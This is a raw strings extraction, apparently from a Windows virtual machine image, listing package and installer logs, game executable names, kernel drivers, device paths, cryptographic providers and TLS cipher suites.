S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.SecHealthUI_1000.29510.1001.0_x64__8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.VCLibs.140.00_14.0.33519.0_x64__8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.UI.Xaml.2.8_8.2310.30001.0_x64__8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.SecHealthUI_1000.29510.1001.0_x64__8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.SecHealthUI_1000.29510.1001.0_x64__8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational MicrosoftWindows.Client.WebExperience_526.1202.40.0_neutral_~_cw5n1h2txyewy Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.WindowsAppRuntime.1.7_7000.770.750.0_x64__8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.Paint_11.2511.291.0_neutral_~_8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe ActivationStore.dat ActivationStore.dat.LOG1 ActivationStore.dat.LOG2 ACTIVA~1.DAT ACTIVA~1.LOG ACTIVA~2.LOG machine.pckgdep MACHIN~1.PCK WofCompressedData $DSC IN3217~1.LOG-02 IN7867~1.AOD-02 IN8C23~1.LOG-02 IN95FB~1.ODL-02 IN9A68~1.LOG-02 INA0B5~1.LOG-02 INB984~1.ODL-02 Install-2026-02-21.1102.8524.1.odlgz Install-2026-02-21.1116.5332.1.aodl Install-2026-02-21.1116.5332.1.odlgz Install-2026-02-21.1117.8664.1.aodl Install-2026-02-21.1117.8664.1.odlgz.1. Install-PerUser-2026-02-21.1102.9488.1.aodl Install-PerUser-2026-02-21.1102.9488.1.odlgz Install-PerUser-2026-02-21.1116.996.1.aodl4 Install-PerUser-2026-02-21.1116.996.1.odlgz Install-PerUser-2026-02-21.1117.8952.1.aodl Install-PerUser-2026-02-21.1117.8952.1.odlgzlog Install-PerUser_2026-02-21_110222_9488-3484.log Install-PerUser_2026-02-21_110222_9488-3484.log Install-PerUser_2026-02-21_110222_9488-3484.log INSTAL~2.ODL INSTAL~3.AOD INSTAL~3.LOG INSTAL~3.ODL INSTAL~4.LOG INSTAL~4.ODL Update_2026-02-21_111656_6436-7176.log UPDATE~1.LOG Install-PerUser_2026-02-21_111704_8952-8956.log Install_2026-02-21_110219_8524-6188.log Install_2026-02-21_111627_5332-5816.log Install_2026-02-21_111703_8664-8668.log Install_2026-02-21_111708_8524-8772.log Install_2026-02-21_111721_8640-8636.log INSTAL~1.AOD INSTAL~1.LOG INSTAL~1.ODL INSTAL~2.AOD INSTAL~2.LOG INSTAL~2.ODL INSTAL~3.AOD INSTAL~3.LOG INSTAL~3.ODL INSTAL~4.AOD INSTAL~4.LOG INSTAL~4.ODL02- StandaloneUpdate_2026-02-24_080424_2216-3908.log StandaloneUpdate_2026-02-24_080424_6800-3884.log STANDA~1.LOG02- STANDA~2.LOG02- Update_2026-02-21_111656_6436-7176.log Update_2026-02-21_111718_8464-8468.log Update_2026-02-24_075951_3664-6308.log Update_2026-02-24_080648_5016-7516.log UPDATE~1.LOG UPDATE~2.LOG UPDATE~3.LOG UPDATE~4.LOG Browsers DefaultWsdlHelpGenerator.aspx legacy.web_hightrust.config #legacy.web_hightrust.config.default legacy.web_lowtrust.config "legacy.web_lowtrust.config.default legacy.web_mediumtrust.config %legacy.web_mediumtrust.config.default legacy.web_minimaltrust.config &legacy.web_minimaltrust.config.default machine.config. machine.config.comments machine.config.default NetFx40_IIS_schema_update.xml NetFx45_IIS_schema_update.xml web.config. web.config.comments web.config.defaulti web_hightrust.config web_hightrust.config.default web_lowtrust.config web_lowtrust.config.default web_mediumtrust.config web_mediumtrust.config.default web_minimaltrust.config web_minimaltrust.config.default web_minimaltrust.config.default WofCompressedData $DSC WofCompressedData $DSC WofCompressedData $DSC WofCompressedData $DSC ActivationStore.dat ActivationStore.dat.LOG1 ActivationStore.dat.LOG2 ACTIVA~1.DAT ACTIVA~1.LOG ACTIVA~2.LOG machine.pckgdep MACHIN~1.PCK data_0 data_1 data_2 data_3 f_000002 f_000003 f_000004 f_000005 f_000006 f_000007 f_000008 f_000009 f_00000a f_00000b f_00000c f_00000d f_000012 f_000014 f_000015 f_000016 f_000017 f_000018 f_000019 f_00001c f_00001d index WofCompressedData $DSC 8mosquitogang-win64-shipping.exe 83841b3e-c7d8-4c5d-8862-8596b4d330dd 1684546364 0mother russia bleeds.exe0 2bd61fd8-2d10-407a-8750-d3ec76296ab4 Fmother_simulator-win64-shipping.exe 3b9082e4-4b47-4454-85ed-768cd370726a 1674133468 motionrec.exe 2265a521-4ec8-4500-9624-318ce084bdb7 1931972084 motionrec.exe dcf62e70-f89f-462f-a31b-e6e87e9b413c 2046989265p motogp.exe 080bbeee-5d4e-4699-bb18-fe679fe114b7t motogp13.exe 2ec33e1d-3222-4525-9bc6-4a20c456bef7x motogp14x64.exe 4dd35870-5499-4818-89a5-c2d097ba838f motogp15x64.exe 6ca457d4-55e7-43ce-8529-b7a2e31549a1 1779651905t motogp17.exe 613b3605-034b-4640-ba9e-bcca6fe13671x motogp17x64.exe 8e753721-1804-460a-a7fd-9f289f63c5d9 6motogp18-win64-shipping.exe fa883240-bde4-4c7a-a9c1-f39512a915ad 2005484634 6motogp19-win64-shipping.exe 24b41150-9d70-455c-9e0c-e063a2aa4bbe 1987858917 6motogp20-win64-shipping.exe daff9881-14e7-445b-8cf8-2ff56fbeb6cb 1693443551 6motogp21-win64-shipping.exe 7c06446b-c2a3-400e-82dc-640bc42851fc 2022362664 6motogp22-win64-shipping.exe feb3ba14-dbe2-43ef-8386-68edf8a5a607 1996550575 6motogp23-win64-shipping.exe 5de07bff-4c24-4961-918b-29ab72145e6c 6motogp25-win64-shipping.exe cff88037-15d6-4ffd-a51a-582dcea03ba8 2146490291 Rmotogp25epicgamesstore-win64-shipping.exe 65c3ddaf-d718-4685-ba3b-4242fe7d5642 2146490291| "motogpvr46x64.exe 68a698d8-2638-4904-8e00-e9f6780a6f53 8motortown-win64-shipping.exe8 8aeaff7e-46ff-4e7c-ba9c-2a8f6f41c923 mount&blade.exe e2113669-2f9e-4955-b6e1-1dd6907cecc4 1762831943 mountain.exe 8f0356b8-d4ce-4202-8df3-3714717dc26f 1677693454 (mountyourfriends.exe( adf0eb49-7ef6-40b9-b47a-119a220d347b 2078459012 mouthwashing.exe 9f2156b8-2904-4497-bed1-5329e7cb9599 2043491983t movingout.exe 55110610-28da-4722-8572-23af35dac17e mow.exe men of war e032c40a-f4ef-4b71-9eb2-d2f2613e0439 1839982615 mow2.exe Men of War II 0518041e-dede-4ccb-a647-65e4b7c50a2f 1842989234 *mow_assault_squad.exe 8b189787-d77e-4f55-94f2-da2867cdf55f mowas_2.exe 021dbc57-312f-4545-8261-b1c65cec4ea6 1719351110 mowas_2_ed.exe 0b231f53-b318-4ddd-b0c6-3102789ff9de 1719351110x mr massagy.exe b1b3e558-0574-4ba6-80fb-1d890acd74df mr.elevator.exe e330460e-1da8-499f-af25-15568a125bf5 1711708555p mr.prez.exe f2cf419f-bc21-48e4-8088-8607aa854cfa ,mr4-win64-shipping.exe, 8d004e80-bdd8-4c3e-8cb4-019d0cf8d853 mudrunner.190322.laapatched.exe 1b4b513f-9c19-4ec0-b9d1-20c79074fa98 1663023776 mudrunner.exe 04d9a143-6ad4-403c-8299-04c723e4ea0f 1663023776 mugen.exe 4769d9c5-39a1-41e5-9f80-2fa1aaf7d78e 1887264486 mugsters.exe Mugsters 4d746220-5497-4eae-9b9a-76b775172165 1965722154t mulegend.exe 18753a53-12bc-4d77-8993-062dbd0ba39c &mullet mad jack.exe 6db052f9-36b0-4d7f-be67-cc9c07d35084 2140167491 0multi turret academy.exe0 e3b0c7d8-568e-43c6-a1d5-95f4ecf32b08 1848991637 /Mafk9W*4pR >/Mafk9W*4pR hal.dll Segoe Mono Boot ntoskrnl.exe symcryptk.dll cng.sys CLFS.SYS tm.sys kdcom.dll mcupdate.dll SWD\MIDISRV\MIDIU_DIAG_TRANSPORT SWD\MIDISRV\MIDIU_DIAG_TRANSPORT !SWD\MIDISRV\MIDIU_DIAG_LOOPBACK_A !SWD\MIDISRV\MIDIU_DIAG_LOOPBACK_A !SWD\MIDISRV\MIDIU_DIAG_LOOPBACK_B !SWD\MIDISRV\MIDIU_DIAG_LOOPBACK_B SWD\MIDISRV\MIDIU_DIAG_PING SWD\MIDISRV\MIDIU_DIAG_PING SWD\MIDISRV\MIDIU_LOOP_TRANSPORT SWD\MIDISRV\MIDIU_LOOP_TRANSPORT SWD\MIDISRV\MIDIU_APP_TRANSPORT SWD\MIDISRV\MIDIU_APP_TRANSPORT winaccel.sys PSHED.dll BOOTVID.dll FLTMGR.SYS msrpc.sys ksecdd.sys clipsp.sys cmimcext.sys werkernel.sys ntosext.sys watchdog.sys WMILIB.SYS dxgkrnl.sys win32k.sys CI.dll globmerger.sys Wdf01000.sys WppRecorder.sys WDFLDR.SYS PRM.sys acpiex.sys msseccore.sys ACPI.sys WdBoot.sys amdwps.sys WindowsTrustedRT.sys intelpep.sys WindowsTrustedRTProxy.sys IntelPMT.sys pcw.sys msisadrv.sys pci.sys vdrvroot.sys pdc.sys CEA.sys partmgr.sys spaceport.sys volmgr.sys intelide.sys PCIIDEX.SYS volmgrx.sys vsock.sys vmci.sys mountmgr.sys atapi.sys ataport.SYS storahci.sys storport.sys stornvme.sys EhStorClass.sys fileinfo.sys Wof.sys WdFilter.sys Ntfs.sys Fs_Rec.sys ndis.sys NETIO.SYS ksecpkg.sys Kerb3961Kernel.sys tcpip.sys fwpkclnt.sys wfplwfs.sys fvevol.sys volume.sys volsnap.sys rdyboost.sys nvmedisk.sys mup.sys iorate.sys disk.sys CLASSPNP.SYS \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe ROOT\spaceport\0000 ROOT\vdrvroot\0000 Microsoft Windows Rdrand Microsoft Windows Firmware data \device\harddiskvolume3\windows\system32\svchost.exe bootmgfw.efi DPC Delegate Thread TSA://ProcUnique \device\harddiskvolume3\windows\system32\svchost.exe Idle Thread SMT Isolation Thread SMT Isolation Thread ROOT\ACPI_HAL\0000 \device\harddiskvolume3\program files (x86)\microsoft\edgewebview\application\145.0.3800.70\msedgewebview2.exe wanarp.sys DPC Delegate Thread ROOT\CompositeBus\0000 bowser.sys TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 Microsoft Smart Card Key Storage Provider TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256 TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 ACPI\PNP0A05\55 TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384 Windows Client Key Protection Provider TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 Microsoft Software Key Storage Provider Microsoft Passport Key Storage Provider TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 RSA_SIGN ECDSA_P256 ECDSA_P384 ECDSA_P521 ECDSA ML-DSA TLS_DHE_DSS_EXPORT1024_WITH_DES_CBC_SHA DRACERTIFICATE KEYFILE CERTIFICATE 00010004 SDDL WindowsTrustedRT 00010002 MSIDCRL LOCAL Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider TLS_RSA_WITH_NULL_SHA Microsoft Key Protection Provider Microsoft SSL Protocol Provider Microsoft Key Protection Provider Microsoft Key Protection Provider Microsoft SSL Protocol Provider Microsoft Key Protection Provider Microsoft SSL Protocol Provider TLS_RSA_WITH_NULL_MD5 TLS_RSA_WITH_RC4_128_SHA Microsoft Key Protection Provider TLS_RSA_WITH_NULL_SHA256 Microsoft SSL Protocol Provider TLS_RSA_WITH_RC4_128_MD5 TLS_PSK_WITH_NULL_SHA384 Microsoft Key Protection Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft Key Protection Provider Microsoft SSL Protocol Provider Microsoft Key Protection Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Windows Client Key Protection Provider Microsoft SSL Protocol Provider TLS_PSK_WITH_NULL_SHA256 Microsoft SSL Protocol Provider TLS_RSA_WITH_DES_CBC_SHA Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Windows Client Key Protection Provider socket.dll TLS_RSA_WITH_AES_256_CBC_SHA256 TLS_RSA_WITH_AES_256_CBC_SHA TLS_RSA_WITH_AES_256_GCM_SHA384 SWD\COMPUTER\MFG_VMware__Inc.&PROD_VMware20_1 ACPI\PNP0100\4&1bd7f811&0 ACPI\PNP0B00\4&1bd7f811&0 PCI Bus Number (b=4) PCI Bus Number (b=2) VAULTCREDENTIALS ACPI\PNP0303\4&1bd7f811&0 PCI I/O Port (b=4) WEBCREDENTIALS PCI I/O Port (b=6) PCI I/O Port (b=7) cng.sys LOCKEDCREDENTIALS PCI Bus Number (b=7) ACPI\PNP0200\4&1bd7f811&0 WindowsTrustedRTProxy.sys PCI I/O Port (b=3) PCI Bus Number (b=3) PCI Bus Number (b=5) ACPI\PNP0800\4&1bd7f811&0 ACPI\PNP0A05\4&1bd7f811&0 ACPI\VMW0003\4&1bd7f811&0 ACPI\PNP0001\4&1bd7f811&0 PCI Bus Number (b=6) \Driver\WindowsTrustedRT \Driver\WindowsTrustedRTProxy ACPI\PNP0103\4&1bd7f811&0 PCI I/O Port (b=2) PCI I/O Port (b=5) WindowsTrustedRT.sys WindowsTrustedRT.sys \Driver\intelpep \Driver\IntelPMT WindowsTrustedRTProxy \WINDOWS\System32\drivers NET.Nat \Driver\PnpManager \Driver\SoftwareDevice ROOT\BasicDisplay\0000 \Driver\DeviceApi 135000luafv \device\harddiskvolume3\windows\system32\spoolsv.exe luafv ROOT\NdisVirtualBus\0000 ACPI ROOT\volmgr\0000 C:\WINDOWS\SYSTEM32\WPTaskScheduler.dll Windows\System32\upfc.exe 409800bindflt Instance 135000luafv ^^^^ \device\harddiskvolume3\windows\system32\svchost.exe DefenderApiLogger DefenderAuditLogger \device\harddiskvolume3\windows\system32\svchost.exe srvnet.sys srv2.sys volmgr CimFSUnionFS-Filter Circular Kernel Context Logger wcifs DefenderAuditLogger DiagLog Z^Z^ Diagtrack-Listener EventLog-Application Eventlog-Security EventLog-System 130850UnionFS Instance FilterMgr-Logger LwtNetLog Microsoft-Windows-Rdp-Graphics-RdpIdd-Trace NetCore System SHA1 Microsoft Primitive Provider Microsoft Primitive Provider SDDL LOCAL WEBCREDENTIALS MSIDCRL DRACERTIFICATE CERTIFICATE VAULTCREDENTIALS KEYFILE LOCKEDCREDENTIALS NtfsLog RadioMgr MsSecCore RSAE-PSS/SHA256 RSAE-PSS/SHA384 RSAE-PSS/SHA512 RSA/SHA256 RSA/SHA384 RSA/SHA1 ECDSA/SHA256 ECDSA/SHA384 ECDSA/SHA1 DSA/SHA1 RSA/SHA512 ECDSA/SHA512 ReFSLog UBPM bc90d167-9470-4139-a9ba-be0bbbf5b74d 64839251-9daf-4e79-aa4e-9771c86ffbc1 WdiContextLog PROFILE_CHANGED_TO_PUBLIC WiFiSession PerfDiag Logger h\Device\HarddiskVolume3\Windows\System32\LogonUI.exe bindflt x\Registry\Machine\System\CurrentControlSet\Services\Wdf01000 x\Registry\Machine\System\CurrentControlSet\Services\Wdf01000 PEAUTH KslD( MsLldp (NetworkPrivacyPolicy 0NetworkPrivacyPolicy.sysUSBXHCI SP800_108_CTR_HMAC SP800_56A_CONCAT PBKDF2 CAPI_KDF TLS1_1_KDF TLS1_2_KDF HKDF SHA256 SHA384 SHA512 SHA1 AES-GMAC AES-CMAC SHA3-256 SHA3-384 SHA3-512 CSHAKE128 CSHAKE256 KMAC128 KMAC256 SHAKE128 SHAKE256 Microsoft Base Smart Card Crypto Provider Microsoft Smart Card Key Storage Provider Microsoft Base Cryptographic Provider v1.0 Microsoft Enhanced Cryptographic Provider v1.0 Microsoft Strong Cryptographic Provider Microsoft RSA Signature Cryptographic Provider Microsoft RSA SChannel Cryptographic Provider Microsoft Base DSS Cryptographic Provider Microsoft Base DSS and Diffie-Hellman Cryptographic Provider Microsoft Enhanced DSS and Diffie-Hellman Cryptographic Provider Microsoft DH SChannel Cryptographic Provider Microsoft Enhanced RSA and AES Cryptographic Provider TLS_AES_256_GCM_SHA384 TLS_AES_128_GCM_SHA256 TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384 TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256 TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA TLS_RSA_WITH_AES_256_GCM_SHA384 TLS_RSA_WITH_AES_128_GCM_SHA256 TLS_RSA_WITH_AES_256_CBC_SHA256 TLS_RSA_WITH_AES_128_CBC_SHA256 TLS_RSA_WITH_AES_256_CBC_SHA TLS_RSA_WITH_AES_128_CBC_SHA TLS_RSA_WITH_NULL_SHA256 TLS_RSA_WITH_NULL_SHA TLS_PSK_WITH_AES_256_GCM_SHA384 TLS_PSK_WITH_AES_128_GCM_SHA256 TLS_PSK_WITH_AES_256_CBC_SHA384 TLS_PSK_WITH_AES_128_CBC_SHA256 TLS_PSK_WITH_NULL_SHA384 TLS_PSK_WITH_NULL_SHA256 TLS_AES_256_GCM_SHA384 TLS_AES_128_GCM_SHA256 TLS_CHACHA20_POLY1305_SHA256 TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384 TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256 TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA TLS_DHE_RSA_WITH_AES_256_CBC_SHA TLS_DHE_RSA_WITH_AES_128_CBC_SHA TLS_RSA_WITH_AES_256_GCM_SHA384 TLS_RSA_WITH_AES_128_GCM_SHA256 TLS_RSA_WITH_AES_256_CBC_SHA256 TLS_RSA_WITH_AES_128_CBC_SHA256 TLS_RSA_WITH_AES_256_CBC_SHA TLS_RSA_WITH_AES_128_CBC_SHA TLS_RSA_WITH_3DES_EDE_CBC_SHA TLS_DHE_DSS_WITH_AES_256_CBC_SHA256 TLS_DHE_DSS_WITH_AES_128_CBC_SHA256 TLS_DHE_DSS_WITH_AES_256_CBC_SHA TLS_DHE_DSS_WITH_AES_128_CBC_SHA TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA TLS_RSA_WITH_RC4_128_SHA TLS_RSA_WITH_RC4_128_MD5 TLS_RSA_WITH_DES_CBC_SHA TLS_DHE_DSS_WITH_DES_CBC_SHA TLS_DHE_DSS_EXPORT1024_WITH_DES_CBC_SHA TLS_RSA_WITH_NULL_SHA256 TLS_RSA_WITH_NULL_SHA TLS_RSA_WITH_NULL_MD5 TLS_RSA_EXPORT1024_WITH_RC4_56_SHA TLS_RSA_EXPORT_WITH_RC4_40_MD5 TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA TLS_PSK_WITH_AES_256_GCM_SHA384 TLS_PSK_WITH_AES_128_GCM_SHA256 TLS_PSK_WITH_AES_256_CBC_SHA384 TLS_PSK_WITH_AES_128_CBC_SHA256 TLS_PSK_WITH_NULL_SHA384 TLS_PSK_WITH_NULL_SHA256 TLS_AES_256_GCM_SHA384 TLS_AES_128_GCM_SHA256 TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384 TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256 TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA TLS_RSA_WITH_AES_256_GCM_SHA384 TLS_RSA_WITH_AES_128_GCM_SHA256 TLS_RSA_WITH_AES_256_CBC_SHA256 TLS_RSA_WITH_AES_128_CBC_SHA256 TLS_RSA_WITH_AES_256_CBC_SHA TLS_RSA_WITH_AES_128_CBC_SHA TLS_RSA_WITH_NULL_SHA256 TLS_RSA_WITH_NULL_SHA TLS_PSK_WITH_AES_256_GCM_SHA384 TLS_PSK_WITH_AES_128_GCM_SHA256 TLS_PSK_WITH_AES_256_CBC_SHA384 TLS_PSK_WITH_AES_128_CBC_SHA256 TLS_PSK_WITH_NULL_SHA384 TLS_PSK_WITH_NULL_SHA256 370P\_0 UnionFS TLS_AES_256_GCM_SHA384 TLS_AES_128_GCM_SHA256 TLS_CHACHA20_POLY1305_SHA256 TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384 TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256 TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA TLS_DHE_RSA_WITH_AES_256_CBC_SHA TLS_DHE_RSA_WITH_AES_128_CBC_SHA TLS_RSA_WITH_AES_256_GCM_SHA384 TLS_RSA_WITH_AES_128_GCM_SHA256 TLS_RSA_WITH_AES_256_CBC_SHA256 TLS_RSA_WITH_AES_128_CBC_SHA256 TLS_RSA_WITH_AES_256_CBC_SHA TLS_RSA_WITH_AES_128_CBC_SHA TLS_RSA_WITH_3DES_EDE_CBC_SHA TLS_DHE_DSS_WITH_AES_256_CBC_SHA256 TLS_DHE_DSS_WITH_AES_128_CBC_SHA256 TLS_DHE_DSS_WITH_AES_256_CBC_SHA TLS_DHE_DSS_WITH_AES_128_CBC_SHA TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA TLS_RSA_WITH_RC4_128_SHA TLS_RSA_WITH_RC4_128_MD5 TLS_RSA_WITH_DES_CBC_SHA TLS_DHE_DSS_WITH_DES_CBC_SHA TLS_DHE_DSS_EXPORT1024_WITH_DES_CBC_SHA TLS_RSA_WITH_NULL_SHA256 TLS_RSA_WITH_NULL_SHA TLS_RSA_WITH_NULL_MD5 TLS_RSA_EXPORT1024_WITH_RC4_56_SHA TLS_RSA_EXPORT_WITH_RC4_40_MD5 TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA TLS_PSK_WITH_AES_256_GCM_SHA384 TLS_PSK_WITH_AES_128_GCM_SHA256 TLS_PSK_WITH_AES_256_CBC_SHA384 TLS_PSK_WITH_AES_128_CBC_SHA256 TLS_PSK_WITH_NULL_SHA384 TLS_PSK_WITH_NULL_SHA256 SHA256 SHA384 SHA512 SHA3-256 SHA3-384 SHA3-512 CSHAKE128 CSHAKE256 KMAC128 KMAC256 SHAKE128 SHAKE256 SHA1 AES-GMAC AES-CMAC mslldp.sys ACPI ROOT\KDNIC\0000 ROOT\UMBUS\0000 ROOT\VID\0000 \Driver\WMIxWDM Registry \Driver\Beep HTREE\ROOT\0 spaceport SDDL LOCAL WEBCREDENTIALS VAULTCREDENTIALS DRACERTIFICATE CERTIFICATE KEYFILE Microsoft-Windows-Rdp-Graphics-RdpIdd-Trace DefenderApiLogger ML-KEM KSecPkg atapi volmgrx PRM.sys Beep vmci amdwps Fs_Rec NDIS vsock partmgr Tcpip None acpiex ACPI volmgr CLFS Ntfs KSecDD DXGKrnl ML-KEM ML-KEM FltMgr Enclave Page Cache 1.0 Enclave Page Cache 1.0 KeyLength PCPKsp.dll 00010001 ROOT\SYSTEM\0000 \Driver\MsSecCore 00010001 \Driver\Wdf01000 ACPI_HAL\PNP0C08\0 00000001 EventLog-System 00000002 00000003 ngcksp.dll ROOT\mssmbios\0000 ROOT\BasicRender\0000 00010004 ROOT\RDPBUS\0000 00000006 WiFiSession WdiContextLog 00000008 LwtNetLog 00000007 \Driver\ACPI_HAL 00000004 PerfDiag Logger 00000005 cng.sys PCI\VEN_15AD&DEV_07A0&SUBSYS_07A015AD&REV_01\3&61aaa01&0&A8 3DES 3DES_112 XTS-AES DESX CHACHA20_POLY1305 RSA_SIGN ECDSA_P256 ECDSA_P384 ECDSA_P521 ECDSA ML-DSA RSA_SIGN ECDSA_P256 ECDSA_P384 ECDSA_P521 ECDSA ML-DSA PCI\VEN_8086&DEV_7110&SUBSYS_197615AD&REV_08\3&61aaa01&0&38 3DES 3DES_112 XTS-AES DESX CHACHA20_POLY1305 PCI\VEN_8086&DEV_7111&SUBSYS_197615AD&REV_01\3&61aaa01&0&39 \??\ACPI_HAL#PNP0C08#0#{15c5e253-b8c4-452e-99df-461d0f5078c8} PCI\VEN_8086&DEV_7192&SUBSYS_197615AD&REV_01\3&61aaa01&0&00 3DES 3DES_112 XTS-AES DESX CHACHA20_POLY1305 PCI\VEN_15AD&DEV_0740&SUBSYS_074015AD&REV_10\3&61aaa01&0&3F Microsoft Next Generation Credentials Key Storage Provider PCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00\3&61aaa01&0&78 PCI\VEN_15AD&DEV_07A0&SUBSYS_07A015AD&REV_01\3&61aaa01&0&A9 PCI\VEN_8086&DEV_7191&SUBSYS_00000000&REV_01\3&61aaa01&0&08 PCI\VEN_15AD&DEV_0790&SUBSYS_079015AD&REV_02\3&61aaa01&0&88 \Registry\Machine\System\CurrentControlSet\Services\MsSecCore DiagLog NetCore NtfsLog Microsoft Windows Interrupt Timings vxos d \??\ROOT#volmgr#0000#{53f5630e-b6bf-11d0-94f2-00a0c91efb8b} \??\ROOT#spaceport#0000#{53f5630e-b6bf-11d0-94f2-00a0c91efb8b} \Device\HarddiskVolume3\Windows\System32\ntdll.dll 